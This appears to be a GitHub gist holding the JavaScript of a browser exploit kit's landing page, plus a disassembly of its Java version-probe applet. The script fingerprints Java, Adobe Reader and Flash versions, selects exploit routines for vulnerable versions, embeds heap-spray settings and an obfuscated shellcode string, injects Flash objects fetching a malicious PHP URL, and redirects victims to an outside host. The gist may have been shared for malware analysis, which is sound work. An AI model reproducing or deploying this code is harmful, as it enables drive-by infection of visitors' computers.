l[2] = [0, 0]; | |
d.query(2) | |
} | |
if (!d.DummyObjTagHTML && !e.isDisabled.ObjectTag()) { | |
d.DummyObjTagHTML = i.insertHTML("object", [], [], a) | |
} | |
if (!d.DummySpanTagHTML) { | |
d.DummySpanTagHTML = i.insertHTML("", [], [], a) | |
}; | |
var k = e.NOTF; | |
if (e.OTF < 3 && k.shouldContinueQuery()) { | |
e.OTF = 3; | |
k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k); | |
if (!i.winLoaded) { | |
i.WLfuncs0.push([k.winOnLoadQuery, k]) | |
} | |
setTimeout(k.onIntervalQuery, k.intervalLength) | |
}; | |
return d.getResult() | |
} | |
}, | |
NOTF: { | |
$: 1, | |
count: 0, | |
countMax: 25, | |
intervalLength: 250, | |
shouldContinueQuery: function () { | |
var e = this, | |
d = e.$, | |
c = e.$$, | |
b = c.applet, | |
a; | |
for (a = 0; a < b.results.length; a++) { | |
if (b.HTML[a] && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && e.isAppletActive(a) >= 0) { | |
return 1 | |
} | |
} | |
return 0 | |
}, | |
isJavaActive: function (d) { | |
var f = this, | |
c = f.$$, | |
a, b, e = -9; | |
for (a = 0; a < c.applet.HTML.length; a++) { | |
b = f.isAppletActive(a, d); | |
if (b > e) { | |
e = b | |
} | |
} | |
return e | |
}, | |
isAppletActive: function (c, a) { | |
var d = this, | |
b = d.$$.applet.active; | |
if (!a) { | |
b[c] = d.isAppletActive_(c) | |
} | |
return b[c] | |
}, | |
isAppletActive_: function (d) { | |
var g = this, | |
f = g.$, | |
b = g.$$, | |
l = b.navigator, | |
a = b.applet, | |
h = a.HTML[d], | |
i, k, c = 0, | |
j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.count); | |
if (j == -2) { | |
return -2 | |
} | |
try { | |
if (f.isIE && b.minIEver <= f.verIE && f.getDOMobj(h).object) { | |
return 1 | |
} | |
} catch (i) {} | |
for (k = 0; k < a.active.length; k++) { | |
if (0 < a.active[k]) { | |
c = 1 | |
} | |
} | |
if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.tagName == "object" || c)) || b.lang.System.getProperty()[0]))) { | |
return 1 | |
} | |
if (0 > j) { | |
return -1 | |
} | |
return 0 | |
}, | |
winOnLoadQuery: function (c, d) { | |
var b = d.$$, | |
a; | |
if (b.OTF == 3) { | |
a = d.queryAllApplets(); | |
d.queryCompleted(a[1], a[2]) | |
} | |
}, | |
$$onIntervalQuery: function (d) { | |
var c = d.$, | |
b = d.$$, | |
a; | |
if (b.OTF == 3) { | |
a = d.queryAllApplets(); | |
if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)) { | |
d.queryCompleted(a[1], a[2]) | |
} | |
} | |
d.count++; | |
if (b.OTF == 3) { | |
setTimeout(d.onIntervalQuery, d.intervalLength) | |
} | |
}, | |
queryAllApplets: function () { | |
var g = this, | |
f = g.$, | |
e = g.$$, | |
d = e.applet, | |
b, a, c; | |
for (b = 0; b < d.results.length; b++) { | |
d.query(b) | |
} | |
a = d.getResult(); | |
c = a[0] ? true : false; | |
return [c, a[0], a[1]] | |
}, | |
queryCompleted: function (c, f) { | |
var e = this, | |
d = e.$, | |
b = e.$$; | |
if (b.OTF >= 4) { | |
return | |
} | |
b.OTF = 4; | |
var a = e.isJavaActive(); | |
b.setPluginStatus(c, f, 0); | |
if (b.funcs) { | |
d.callArray(b.funcs) | |
} | |
if (d.onDoneEmptyDiv) { | |
d.onDoneEmptyDiv() | |
} | |
} | |
}, | |
zz: 0 | |
}, | |
flash: { | |
mimeType: "application/x-shockwave-flash", | |
progID: "ShockwaveFlash.ShockwaveFlash", | |
classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", | |
getVersion: function () { | |
var b = function (i) { | |
if (!i) { | |
return null | |
} | |
var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i); | |
return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null | |
}; | |
var j = this, | |
g = j.$, | |
k, h, l = null, | |
c = null, | |
a = null, | |
f, m, d; | |
if (!g.isIE) { | |
m = g.hasMimeType(j.mimeType); | |
if (m) { | |
f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j)); | |
try { | |
l = g.getNum(f.GetVariable("$version")) | |
} catch (k) {} | |
} | |
if (!l) { | |
d = m ? m.enabledPlugin : null; | |
if (d && d.description) { | |
l = b(d.description) | |
} | |
if (l) { | |
l = g.getPluginFileVersion(d, l) | |
} | |
} | |
} else { | |
for (h = 15; h > 2; h--) { | |
c = g.getAXO(j.progID + "." + h); | |
if (c) { | |
a = h.toString(); | |
break | |
} | |
} | |
if (!c) { | |
c = g.getAXO(j.progID) | |
} | |
if (a == "6") { | |
try { | |
c.AllowScriptAccess = "always" | |
} catch (k) { | |
return "6,0,21,0" | |
} | |
} | |
try { | |
l = b(c.GetVariable("$version")) | |
} catch (k) {} | |
if (!l && a) { | |
l = a | |
} | |
} | |
j.installed = l ? 1 : -1; | |
j.version = g.formatNum(l); | |
return true | |
} | |
}, | |
adobereader: { | |
mimeType: "application/pdf", | |
navPluginObj: null, | |
progID: ["AcroPDF.PDF", "PDF.PdfCtrl"], | |
classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000", | |
INSTALLED: {}, | |
pluginHasMimeType: function (d, c, f) { | |
var b = this, | |
e = b.$, | |
a; | |
for (a in d) { | |
if (d[a] && d[a].type && d[a].type == c) { | |
return 1 | |
} | |
} | |
if (e.getMimeEnabledPlugin(c, f)) { | |
return 1 | |
} | |
return 0 | |
}, | |
getVersion: function (l, j) { | |
var g = this, | |
d = g.$, | |
i, f, m, n, b = null, | |
h = null, | |
k = g.mimeType, | |
a, c; | |
if (d.isString(j)) { | |
j = j.replace(/\s/g, ""); | |
if (j) { | |
k = j | |
} | |
} else { | |
j = null | |
} | |
if (d.isDefined(g.INSTALLED[k])) { | |
g.installed = g.INSTALLED[k]; | |
return | |
} | |
if (!d.isIE) { | |
a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in"; | |
if (g.getVersionDone !== 0) { | |
g.getVersionDone = 0; | |
b = d.getMimeEnabledPlugin(g.mimeType, a); | |
if (!j) { | |
n = b | |
} | |
if (!b && d.hasMimeType(g.mimeType)) { | |
b = d.findNavPlugin(a, 0) | |
} | |
if (b) { | |
g.navPluginObj = b; | |
h = d.getNum(b.description) || d.getNum(b.name); | |
h = d.getPluginFileVersion(b, h); | |
if (!h && d.OS == 1) { | |
if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) { | |
h = "9" | |
} else { | |
if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) { | |
h = "8" | |
} | |
} | |
} | |
} | |
} else { | |
h = g.version | |
} | |
if (!d.isDefined(n)) { | |
n = d.getMimeEnabledPlugin(k, a) | |
} | |
g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1)) | |
} else { | |
b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]); | |
c = /=\s*([\d\.]+)/g; | |
try { | |
f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions(); | |
for (m = 0; m < 5; m++) { | |
if (c.test(f) && (!h || h < RegExp.$1)) { | |
h = RegExp.$1 | |
} | |
} | |
} catch (i) {} | |
g.installed = h ? 1 : (b ? 0 : -1) | |
} | |
if (!g.version) { | |
g.version = d.formatNum(h) | |
} | |
g.INSTALLED[k] = g.installed | |
} | |
}, | |
zz: 0 | |
} | |
}; | |
pdpd.initScript(); | |
pdpd.getVersion("."); | |
var $$ = pdpd; | |
function x(s) { | |
d = []; | |
for (i = 0; i < s.length; i++) { | |
k = (s.charCodeAt(i)).toString(33); | |
d.push(k); | |
}; | |
return d.join(":"); | |
} | |
end_redirect = function () { | |
window.location.href = 'http://19.danielherr.net/adobe/'; | |
}; | |
function j1() { | |
return false; | |
} | |
function j2() { | |
return false; | |
} | |
function p1() { | |
return false; | |
} | |
function p2() { | |
return false; | |
} | |
function p3() { | |
return false; | |
} | |
function f1() { | |
var oSpan = document.createElement("span"); | |
document.body.appendChild(oSpan); | |
var url = "/read/meaningful-invent-owing.php?yqo=" + x("3b65e") + "&yikzvcpe=" + x("jspozf") + "&lwtj=2w:1o:1m:2v:1g:1h:1k:2v:2w:32&info=02e6b1525353caa8ad4dceae3133b6b136b7b3325750a8b13157ab55303736abb5377f709cdfddef9c921c9cefdf9cef929ced7983007f637f8cf31fc3ccfc7aa2986d67"; | |
oSpan.innerHTML = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='movie' value='" + url + "' /><embed src='" + url + "' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>"; | |
} | |
function getCN() { | |
return "/read/meaningful-invent-owing.php?swcguge=" + x("3b65e") + "&ddvjn=" + x("isjbw") + "&zqszkvg=2w:1o:1m:2v:1g:1h:1k:2v:2w:32&wpdc=oqzu" | |
} | |
function getBlockSize() { | |
return 1024 | |
} | |
function getAllocSize() { | |
return 1024 * 1024 | |
} | |
function getAllocCount() { | |
return 300 | |
} | |
function getFillBytes() { | |
var a = '%u' + '0c0c'; | |
return a + a | |
} | |
function getShellCode() { | |
var a = "8282!%5114!%64d5!%b5e0!%1551!%e095!%9134!%0451!%a1e0!%21b1!%a1f5!%e521!%21a1!%9134!%0421!%2191!%91f4!%e521!%21a1!%9154!%7421!%2191!%a1f5!%d451!%e0f4!%b1a1!%3421!%2191!%9144!%f521!%21a1!%9114!%e451!%71f5!%0485!%6085!%64f4!%f514!%5074!%64c5!%e5d4!%1464!%4450!%e4d5!%64f4!%6414!%d494!%7054!%94c4!%a5d4!%c570!%64d4!%a560!%d4a5!%4404!%14d4!%9464!%60c4!%9111!%7070!%8521!%c5c5!%8504!%2370!%15e1!%eee6!%3733!%2e2a!%59b1!%7492!%621a!%6d2a!%4c0b!%6662!%7d6a!%6d7d!%0c4b!%e702!%6d7d!%8224!%ce24!%82d5!%8a71!%2df6!%82d5!%8a71!%b3f6!%a23c!%423c!%babe!%e7c2!%b77d!%3c42!%82ba!%c224!%7de7!%82b7!%e324!%8ed5!%c3da!%7de7!%2482!%b7f7!%2482!%2482!%9697!%53c2!%0ac6!%c281!%2a9e!%8217!%5312!%eec6!%4444!%60c4!%53d2!%fec6!%a4c5!%f585!%5382!%fec6!%1e97!%0cb1!%423a!%7de7!%8282!%0d82!%b704!%b580!%8050!%c002!%fec6!%b1a1!%e5a5!%c0c2!%fec6!%f4b5!%a5d4!%c2c0!%42fe!%47c0!%825a!%9282!%4cc2!%a59a!%a23c!%7d3c!%7d7d!%0c94!%3a0c!%ce02!%e3ba!%c77d!%4454!%d5a5!%8204!%6482!%0474!%7dbc!%bed2!%83ba!%3a67!%3a4c!%87d7!%8e13!%87ba!%8282!%7d82!%8604!%8724!%8207!%8282!%0c82!%ac1d!%7d7d!%0b7d!%170c!%24d2!%3afd!%0402!%bd3a!%eb3c!%c5b2!%42b1!%8a55!%0480!%583a!%3cb7!%17be!%3867!%b2de!%c23a!%5f3a!%0fb2!%423a!%c7c0!%4c7d!%5ae6!%4236!%e43a!%b25f!%67c0!%673a!%d5ec!%3173!%3c9d!%2f86!%52b2!%9e3e!%c502!%01ad!%6983!%3f72!%deb1!%58b2!%964d!%1e16!%ddb1!%80b2!%3ae5!%dde7!%05b2!%c5d1!%413a!%3ad5!%97e7!%3c46!%971c!%ccd5!%c0da!%fac1!%d53d!%11e2!%bee6!%8681!%093a!%7d7d!%d383!%9a6c!%b140!%b2c5!%6741!%e43a!%b13f!%e502!%e73a!%8543!%423a!%3a86!%8681!%c43a!%b18e!%1c77!%d5c1!%dacc!%ffff!%beff!%508e!%afbe!%042e!%0382!%ef08!%9e20!%6618!%139c!%0185!%cfbe!%4ecf!%6638!%1414!%1414!%".split("").reverse().join(""); | |
return a["replace"](/\%!/g, "%" + "u") | |
}; | |
function ff2() { | |
var oSpan = document.createElement("span"); | |
var url = "/read/meaningful-invent-owing.php?xkeesdto=" + x("3b65e") + "&xtuwdulh=" + x("mqrj") + "&zjhyj=2w:1o:1m:2v:1g:1h:1k:2v:2w:32&rhbh=xgsr"; | |
oSpan.innerHTML = "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'><param name='movie' value='" + url + "' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed src='" + url + "' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash' width='10' height='10'></embed></object>"; | |
document.body.appendChild(oSpan); | |
} | |
document.write(''); | |
setTimeout(end_redirect, 61000); | |
var pdfver = []; | |
function svwrbew6436b($) { | |
var ar = []; | |
var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"]("."); | |
if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9))) { | |
ar["push"](j2); | |
} else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3] < 33) || (javax[0] == 1 && javax[1] < 6))) { | |
ar["push"](j1); | |
} | |
pdfver = pdpd.getVersion("AdobeReader"); | |
if (window.document) if (typeof pdfver == "string") { | |
pdfver = pdfver["split"](".") | |
} else { | |
pdfver = [0, 0, 0, 0] | |
} | |
if (pdfver[0] > 0 && pdfver[0] < 8) { | |
if (window.document) ar["push"](p1); | |
} | |
if (((pdfver[0] == 9) && (pdfver[1] >= 3)) || ((pdfver[0] == 10) && (pdfver[1] < 103))) { | |
ar["push"](p3); | |
} else { | |
if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))) { | |
ar["push"](p2); | |
} | |
} | |
var ver = ($$.getVersion("Flash") + ".").toString()["split"]("."); | |
if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || window.document && ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2))) { | |
ar["push"](ff2); | |
} | |
if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 && ver[1] == 3 && ver[2] < 181)) { | |
ar["push"](f1); | |
} | |
var arcalli = 0; | |
var arcall = function () { | |
if (ar.length <= arcalli) return 123; | |
ss = setTimeout; | |
var res = ar[arcalli](); | |
arcalli++; | |
if (res && window.document) { | |
ss(function () { | |
arcall() | |
}, 5509); | |
} else { | |
arcall(); | |
} | |
}; | |
arcall(); | |
} | |
$$["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../treating/getJavaInfo.jar"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
% jar tvf getJavaInfo.jar | |
784 Thu Aug 12 17:24:38 EDT 2010 A.class |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
% javap -c A | |
Compiled from "A.java" | |
public class A extends java.applet.Applet{ | |
public A(); | |
Code: | |
0: aload_0 | |
1: invokespecial #1; //Method java/applet/Applet."<init>":()V | |
4: return | |
public java.lang.String getAppVersion(); | |
Code: | |
0: ldc #2; //String 3 | |
2: areturn | |
public java.lang.String getProp(java.lang.String); | |
Code: | |
0: ldc #3; //String | |
2: astore_2 | |
3: aload_1 | |
4: instanceof #4; //class java/lang/String | |
7: ifeq 15 | |
10: aload_1 | |
11: invokestatic #5; //Method java/lang/System.getProperty:(Ljava/lang/String;)Ljava/lang/String; | |
14: astore_2 | |
15: goto 19 | |
18: astore_3 | |
19: aload_2 | |
20: areturn | |
Exception table: | |
from to target type | |
3 15 18 Class java/lang/Exception | |
public java.lang.String getVersion(); | |
Code: | |
0: aload_0 | |
1: ldc #7; //String java.version | |
3: invokevirtual #8; //Method getProp:(Ljava/lang/String;)Ljava/lang/String; | |
6: areturn | |
public java.lang.String getVendor(); | |
Code: | |
0: aload_0 | |
1: ldc #9; //String java.vendor | |
3: invokevirtual #8; //Method getProp:(Ljava/lang/String;)Ljava/lang/String; | |
6: areturn | |
public void statusbar(java.lang.String); | |
Code: | |
0: aload_1 | |
1: instanceof #4; //class java/lang/String | |
4: ifeq 12 | |
7: aload_0 | |
8: aload_1 | |
9: invokevirtual #10; //Method java/applet/Applet.showStatus:(Ljava/lang/String;)V | |
12: goto 16 | |
15: astore_2 | |
16: return | |
Exception table: | |
from to target type | |
0 12 15 Class java/lang/Exception | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment